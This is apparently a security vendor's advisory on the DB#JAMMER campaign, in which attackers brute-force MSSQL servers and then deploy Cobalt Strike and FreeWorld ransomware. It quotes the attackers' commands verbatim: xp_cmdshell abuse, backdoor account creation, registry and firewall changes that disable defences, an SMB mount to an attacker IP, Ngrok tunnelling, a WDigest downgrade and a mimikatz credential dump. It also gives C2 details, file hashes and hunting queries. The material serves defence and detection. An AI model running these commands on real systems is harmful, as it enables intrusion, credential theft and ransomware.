Securonix Threat Labs Security Advisory: Threat Actors Target MSSQL Servers in DB#JAMMER to Deliver FreeWorld Ransomware

By Securonix Threat Research: D.Iuzvyk, T.Peck, O.Kolesnikov

tl;dr

Threat actors working as part of DB#JAMMER attack campaigns are compromising exposed MSSQL databases using brute force attacks and appear to be well tooled and ready to deliver ransomware and Cobalt Strike payloads.

In an interesting attack campaign, the Securonix Threat Research team has identified threat actors targeting exposed Microsoft SQL (MSSQL) services using brute force attacks. One of the things that makes DB#JAMMER standout is how the attacker’s tooling infrastructure and payloads are used.

Some of these tools include enumeration software, RAT payloads, exploitation and credential stealing software, and finally ransomware payloads. The ransomware payload of choice appears to be a newer variant of Mimic ransomware called FreeWorld. The FreeWorld text was present in the binary file names as well as ransomware extensions.

In this case, the threat actors targeted an MSSQL server and were able to gain a code execution foothold on the host using the enabled xp_cmdshell function present on the server. Once exploited, the attackers immediately began enumerating the system and running shell commands to impair defenses and deployed tools which aided in establishing persistence on the host.

Given how quickly the attackers got to work, this attack appears to be quite sophisticated from tooling to infrastructure.

Initial Access (TA0001)

The threat actors gained access to the victim host by brute forcing an MSSQL login. Once authenticated, they immediately began enumerating the database, especially targeting other login credentials using statements such as:

SELECT name FROM sys.sql_logins WHERE name IS NOT NULL

Next, discovering that the MSSQL function xp_cmdshell stored procedure was enabled, the attackers began running shell commands on the host. This function allows for command execution and should normally not be enabled unless required.

System Enumeration (TA0007)

Enumeration was carried out using a few basic commands. Most of these included wmic.exe, net.exe and ipconfig.exe. Each were executed through the MSSQL xp_cmdshell:

Figure 1: System and user enumeration commands

Once they were confident that the target system was legitimate, they began the next phase of the attack which included making configuration changes to impair defenses.

Impair Defenses (T1562)

At this point the attackers executed a wide range of commands on the host ranging from user creation/modification, to registry changes. Commands were executed in rapid succession indicating that they were likely copying them from a tool list or document on their end.  We’ll go over each in detail.

User Creation (T1136)

Three new users were created on the victim host which include windows, adminv$, and mediaadmin$.  Each user was added to the “remote desktop users”, “administrators”. Interestingly enough the attackers attempted to execute a large one-liner which would create the users and modify group membership, however several variations of the command were executed to account for groups in different languages.

An example of the command can be seen below. As you can see there are multiple commands being executed separated by the “&” character which create and add users to the administrators group in three different languages, English (administrators), German (administratoren), Polish (administratorzy), Catalan (administradors) and Spanish (administradores).

While the group membership portion of the command might produce errors, it does provide the attackers with a “one command to rule them all” when it comes to increasing their chances of success when the language of the system is unknown.

Figure 2: User creation/modification command example

The attackers executed multiple commands similar to the above for each of the aforementioned users. Once the users and groups were in place, the following commands were executed to ensure that passwords did not expire and the the user is never logged off:

net accounts /maxpwage:unlimited
net accounts /forcelogoff:no

Registry Enumeration and Modification (T1112)

It became clear that the attackers preferred using RDP to connect to the victim machine. The use of Ngrok proxy software was later observed, however in order to get the lay of the land the attackers enumerated the current state of the RDP environment by making the following registry changes to ensure connection success:

DescriptionCommand executed
This would return the port number used by RDP (typically 3389). Next the following registry key modification was executed which ensures that terminal services are enabled:reg query “hklmsystemcurrentcontrolsetcontrolterminal serverwinstationsrdp-tcp” /v portnumber
The fDenyTSConnectionsValue determines whether or not terminal services are enabled and that connections are not denied.cmd.exe /C REG ADD “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 00000000
To avoid detection, the following command was executed. This registry modification prevents the last user who authenticated with the system to appear in the login screen.reg add hklmsoftwaremicrosoftwindowscurrentversionpoliciessystem /v dontdisplaylastusername
Disable UAC remote restrictions:reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionpoliciessystem /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f
Removes the “guest” account from the RDP login screenreg add “hklmsoftwaremicrosoftwindows ntcurrentversionwinlogonspecialaccountsuserlist” /v guest /t reg_dword /d 0 /f
Duplicate registry changereg add “hkey_local_machinesystemcurrentcontrolsetcontrolterminal server” /v fdenytsconnections /t reg_dword /d 0 /f
Ensures that network-level authentication is not required for RDP.reg add “hkey_local_machinesystemcurrentcontrolsetcontrolterminal serverwinstationsrdp-tcp” /v userauthentication /t reg_dword /d 0 /f
Disables Windows Defender user consent for automatic sample submissionreg add “hklmsoftwarepoliciesmicrosoftwindows defenderspynet” /v submitsamplesconsent /t reg_dword /d 2 /f

Disable System Firewall (T1562.004)

Rather than simply allowing connections through Windows Firewall, or check its state, the attackers opted for the “Hail Mary” approach and disabled it all together by running:

netsh firewall set opmode disable

Establish Persistence (TA0003)

At this point the attackers had disabled much of the systems defenses especially in regard to network protection and RDP authenticaions. The next phase involved connecting to a remote SMB share to transfer in and out tools.

First a single command was executed to detach many of the network shares. As to the motivations why, we cannot say as doing so could break running processes and notify administrators:

Figure 3: Remove existing network shares

Some time later, they mounted their own remote network share as a “V” drive using the following connection parameters:

net use V: 45.148.122[.]63V /user:sharp [REDACTED PASSWORD]

Network share analysis

The network share allowed the attacker to transfer files to and from the victim system as well as install malicious tools.

Figure 4: SMB share folder contents

Unfortunately for the attacker, but fortunately for us we were able to extract all of the hosted files as part of our security investigation/response for analysis. Most of the files had unspecific and arbitrary names but we were able to determine their functionality based on their usage.

At this point the attackers shifted from executing commands using the xp_cmdshell method to executing commands from an SMB delivered binary, svr.exe which appears to be a Cobalt Strike command and control payload. We observed it making DNS connections to gelsd[.]com. (config extracted in Appendix: A below).

Figure 5: srv.exe details

Ngrok usage

At this point the attackers attempted to establish RDP persistence through Ngrok. Ngrok allows for bypassing the firewall by running a service on the host. A public IP and port are provided to the attacker to connect to.

The Ngrok binary was copied into C:WindowsSystem32 and simply named n.exe. An attempt was made to establish a connection using the following command via svr.exe:

cmd.exe /c c:/windows/system32/n.exe config add-authtoken [REDACTED TOKEN] & c:/windows/system32/n.exe tcp 3389

The attempt was ultimately unsuccessful as Ngrok was being blocked by the firewall, however our attackers attempted to repeat the sequence of commands another six times using the same auth token before giving up.

AnyDesk RAT

Not to be discouraged, the attackers shifted gears to remote access software, AnyDesk. AnyDesk is a legitimate service that functions like a RAT. Threat actors have been leveraging it for quite some time to push ransomware on their victims.

It appears that a batch file was executed (“a2.bat”) via the svr.exe process to download and execute the AnyDesk install, however it would appear that it was self deleting and we were not able to observe its contents.

The following process and command line were observed being executed from the cmd/batch file parent process. The staging directory for these files was “C:WindowsTemp”:

Figure 6: AnyDesk install

Lateral Movement (TA0008)

With a strong level of persistence, the attackers at this point shifted gears and started enumerating the network. The advanced port scanner utility was downloaded and placed right inside the desktop directory of the newly created user “windows”.

c:userswindowsdesktopadvanced_port_scanner_2.5.3869.exe

Credential Dumping (T1003)

Mimikatz was executed through another batch file called start.bat located at “c:userswindowsdesktopstart.bat”. From what we were able to determine, the purpose of start.bat was to first modify the registry to force clear text credentials. This is performed using a WDigest downgrade attack. The batch file did this by executing the following command invoking the registry change.

reg add “hkey_local_machinesystemcurrentcontrolsetcontrolsecurityproviderswdigest”  /v uselogoncredential /t reg_sz /d 1 /f

The batch file then executed mimikatz.exe to dump credentials:

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords full” exit

The results were dumped onto the “windows” user’s desktop and read:

explorer.exe → notepad.exe c:userswindowsdesktopmimikatz_dump.txt

Introducing FreeWorld ransomware

At this point the attackers had had enough and downloaded and deployed Mimic ransomware on the host. FreeWorld ransomware appears to be a variant of Mimic ransomware as it follows many similar TTPs in order to carry out its goals. Both variants appear to abuse the legitimate application Everything to query and locate target files to be encrypted.

The Mimic ransomware dropper “5000.exe” was downloaded to “c:userswindowsdesktop50000.exe” and executed using Windows Explorer. The dropper extracted 7zip and the Everything application into the user’s temp directory. 5000.exe then instructed 7zip to extract the contents of a fake Everything64.dll (which is a password protected archive) into the current directory. This was done using the following command:

c:userswindowsappdatalocaltemp7zipsfx.0007za.exe x -y -p1[REDACTED PASSWORD] everything64.dll

Next, the ransomware payload was extracted into the user’s ”appdatalocal[random_GUID]“ directory. After which “50000.exe” would drop the main ransomware payload “dc.exe”.

Upon execution, the ransomware began encrypting the victim host and generated encrypted files using the “.FreeWorldEncryption” extension.

Once it has run through its course, it will create a text file named “FreeWorld-Contact.txt” with instructions as to how to pay the ransom.

Figure 7: FreeWorld ransomware note

C2 and infrastructure

During the DB#JAMMER campaign we observed the following network communication to C2 hosts.

C2 AddressDescription
gelsd[.]comC2 from svr.exe
45.148.122[.]63Remote SMB server

Securonix recommendations and mitigations

The attack initially succeeded as a result of a brute force attack against a MSSQL server. It was unclear if the attackers were using a dictionary-based, or random password spray attempts. However it’s important to emphasize the importance of strong passwords, especially on publicly exposed services.

When it comes to prevention and detection, the Securonix Threat Research Team recommends:

  • Leverage strong, complex passwords, especially on services exposed to the internet
  • In MSSQL environments, limit the use of the xp_cmdshell stored procedure
  • Rather than exposing services to the internet, leverage a trusted platform such as a VPN
  • Monitor common malware staging directories, especially “C:WindowsTemp” which was used in this attack campaign
  • Deploy additional process-level logging such as Sysmon and PowerShell logging for additional log detection coverage
  • Securonix customers can scan endpoints using the Securonix Seeder Hunting Queries below

MITRE ATT&CK matrix

TacticTechnique
Initial AccessT1110: Brute Force
DiscoveryT1046: Network Service Discovery
Defense EvasionT1112: Modify Registry

T1562.001: Impair Defenses: Disable or Modify Tools

PersistenceT1098: Account Manipulation

T1505.001: Server Software Component: SQL Stored Procedures

Credential AccessT1003: OS Credential Dumping

T1110.001: Brute Force: Password Guessing

Lateral MovementT1021.001: Remote Services: Remote Desktop Protocol
Command and ControlT1105: Ingress Tool Transfer

T1572: Protocol Tunneling

T1573.001:  Encrypted Channel: Symmetric Cryptography

T1219: Remote Access Software

ExfiltrationT1567: Exfiltration Over Web Service
Impact T1486: Data Encrypted for Impact

Analyzed file hashes

File NameSHA256 (IoC)
svr.exe8937A510446ED36717BB8180E5E4665C0C5D5BC160046A31B28417C86FB1BA0F
AD.exe9D576CD022301E7B0C07F8640BDEB55E76FA2EB38F23E4B9E49E2CDBA5F8422D
n.exe867143A1C945E7006740422972F670055E83CC0A99B3FA71B14DEABABCA927FE
5000.exe80BF2731A81C113432F061B397D70CAC72D907C39102513ABE0F2BAE079373E4
FreeWorld.exe75975B0C890F804DAB19F68D7072F8C04C5FE5162D2A4199448FC0E1AD03690B
DC.exeC576F7F55C4C0304B290B15E70A638B037DF15C69577CD6263329C73416E490E
Everything.exe4C83E46A29106AFBAF5279029D102B489D958781764289B61AB5B618A4307405
v.dll0A2CFFFB353B1F14DD696F8E86EA453C49FA3EB35F16E87FF13ECDF875206897
e3.exe74CC7B9F881CA76CA5B7F7D1760E069731C0E438837E66E78AEE0812122CB32D
2.exe947AFAA9CD9C97CABD531541107D9C16885C18DF1AD56D97612DDBC628113AB5
1.exe95A73B9FDA6A1669E6467DCF3E0D92F964EDE58789C65082E0B75ADF8D774D66
twix.exeA3D865789D2BAE26726B6169C4639161137AEF72044A1C01647C521F09DF2E16
sara.exeE93F3C72A0D605EF0D81E2421CCA19534147DBA0DDED2EE29048B7C2EB11B20A
d.dllCC54096FB8867FF6A4F5A5C7BB8CC795881375031EED2C93E815EC49DB6F4BFF
ahar.exe68ED5F4B4EABD66190AE39B45FFF0856FBA4B3918B44A6D831A5B9120B48A1E9
sara.exe42396CE27E22BE8C2F0620EE61611D7F86DFE9543D2F2E2AF3EF5E85613CEE32
italy.dllF9F6C453DA12C8FF16415C9B696C2E7DF95A46E9B07455CD129CE586B954870D
egypt.exe569E3B6EAC58C4E694A000EB534B1F33508A8B5DE8A7AD3749C24727CC878F4D
svr.exe8937A510446ED36717BB8180E5E4665C0C5D5BC160046A31B28417C86FB1BA0F
greace.exe2D27F57B4F193A563443ACC7FE0CBF611F4FF0F1171FCBDF16C3ECEF8F9DBEDB
haxknet.dll2B68FE68104359E1BC044DB33B4E88B913E4F5BE69DA9FD6E87EA59A50311E6E
gelsd.dll11259F77F4E477CD066008FBFC7C31D5BBDC9EF708C4B255791EE380999A725C
or.exeBD1C3303D13CADF8BBD6200597E9D365EC3C05F1F48052CD47DCD69E77C94378
gel.exeCD5A2EC1A95D754EE5189BFEE6E1F61C76A0A5EE8173DA273E02F24A62FACCFA
for.exeBEC3F75F638025A5FE3B8D278856FD273999C49AE7543C109205879B59AFC4C3
you.exe2AC044936A922455C80E93F76CC3E2CE539FDAB1AF65C0703B57177FEB5326A6
with.exeFBC9BA3BA7387C38EB9832213B2D87CF5F9FC2BA557E6FDF23556665CA3EF44A
haxk.exe08F827A63228D7BCD0D02DD131C1AE29BC1D9C3619BE67EA99D8A62440BE57AB

Some examples of relevant Securonix provisional detections

  • EDR-SYM652-ERI
  • EDR-SYM650-ERI
  • EDR-SYM599-RUN
  • EDR-SYM418-RUN
  • EDR-SYM417-RUN
  • EDR-SYM172-RUN
  • EDR-SYM69-BPI / EDR-ALL-69-BP
  • NTA-CRL25-ERI
  • WEL-TAR11-RUN

Some examples of relevant hunting/Spotter queries (be sure to remove square brackets “[ ]”)

  • index = activity AND (rg_functionality = “Next Generation Firewall” OR rg_functionality = “Web Application Firewall” OR rg_functionality = “Web Proxy”) AND (destinationaddress = “45.148.122[.]63” or destinationaddress = “gelsd[.]com”)
  • index = activity AND rg_functionality = “Endpoint Management Systems” AND (customstring47 ENDS WITH “CurrentControlSetControlTerminal ServerfDenyTSConnections” OR customstring47 ENDS WITH “CurrentControlSetControlTerminal ServerWinStationsRDP-TcpUserAuthentication”) AND customstring48 = “DWORD (0x00000000)”
  • index = activity AND rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Process Create” OR deviceaction = “Process Create (rule: ProcessCreate)” OR deviceaction = “ProcessRollup2” OR deviceaction = “Procstart” OR deviceaction = “Process” OR deviceaction = “Trace Executed Process”) AND destinationprocessname ENDS WITH “reg.exe” AND resourcecustomfield1 CONTAINS ” add ” AND resourcecustomfield1 CONTAINS “CurrentControlSetControlTerminal Server” AND (resourcecustomfield1 CONTAINS “fDenyTSConnections” OR resourcecustomfield1 CONTAINS “UserAuthentication”)
  • index = activity AND destinationport = “445” OR destinationport = “139”) AND (sourceaddress = “10.0.0.0/8” OR sourceaddress = “172.16.0.0/12” OR sourceaddress = “192.168.0.0/16” OR sourceaddress = “169.254.0.0/16”) AND (destinationaddress != “10.0.0.0/8” OR destinationaddress != “172.16.0.0/12” OR destinationaddress != “192.168.0.0/16” OR destinationaddress != “169.254.0.0/16” OR destinationaddress != “127.0.0.0/8”
  • index = activity AND rg_functionality = “Endpoint Management Systems” AND deviceaction = “Process Create” AND sourceprocessname ENDS WITH “sqlservr.exe” AND destinationprocessname ENDS WITH “cmd.exe”

References:

  1. Microsoft Learn: xp_cmdshell (Transact-SQL)
    https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16
  2. Description of User Account Control and remote restrictions in Windows Vista
    https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction
  3. Microsoft Learn: UserAuthentication
    https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-userauthentication
  4. Government warns internet users about “AKIRA” ransomware ransomwarehttps://tech.hindustantimes.com/tech/news/government-warns-internet-users-about-akira-ransomware-hackers-using-anydesk-winrar-71690168901674.html
  5. Forcing WDigest to Store Credentials in Plaintext
    https://www.ired.team/offensive-security/credential-access-and-credential-dumping/forcing-wdigest-to-store-credentials-in-plaintext

Appendix: A – Cobalt Strike config

{“BeaconType”: [“HTTPS”], “Port”: 443, “SleepTime”: 48500, “MaxGetSize”: 1048576, “Jitter”: 34, “C2Server”: “gelsd[.]com,/apiv8/getStatus”, “HttpPostUri”: “/apiv8/updateConfig”, “Malleable_C2_Instructions”: [], “HttpGet_Verb”: “GET”, “HttpPost_Verb”: “POST”, “HttpPostChunk”: 0, “Spawnto_x86”: “%windir%syswow64gpupdate.exe”, “Spawnto_x64”: “%windir%sysnativegpupdate.exe”, “CryptoScheme”: 0, “Proxy_Behavior”: “Use IE settings”, “Watermark”: 12345, “bStageCleanup”: “True”, “bCFGCaution”: “True”, “KillDate”: 0, “bProcInject_StartRWX”: “True”, “bProcInject_UseRWX”: “False”, “bProcInject_MinAllocSize”: 17500, “ProcInject_PrependAppend_x86”: [“kJA=”, “Empty”], “ProcInject_PrependAppend_x64”: [“kJA=”, “Empty”], “ProcInject_Execute”: [“ntdll.dll:RtlUserThreadStart”, “CreateThread”, “NtQueueApcThread-s”, “CreateRemoteThread”, “RtlCreateUserThread”], “ProcInject_AllocationMethod”: “VirtualAllocEx”, “bUsesCookies”: “True”, “HostHeader”: “”}

Source: https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/

Views: 0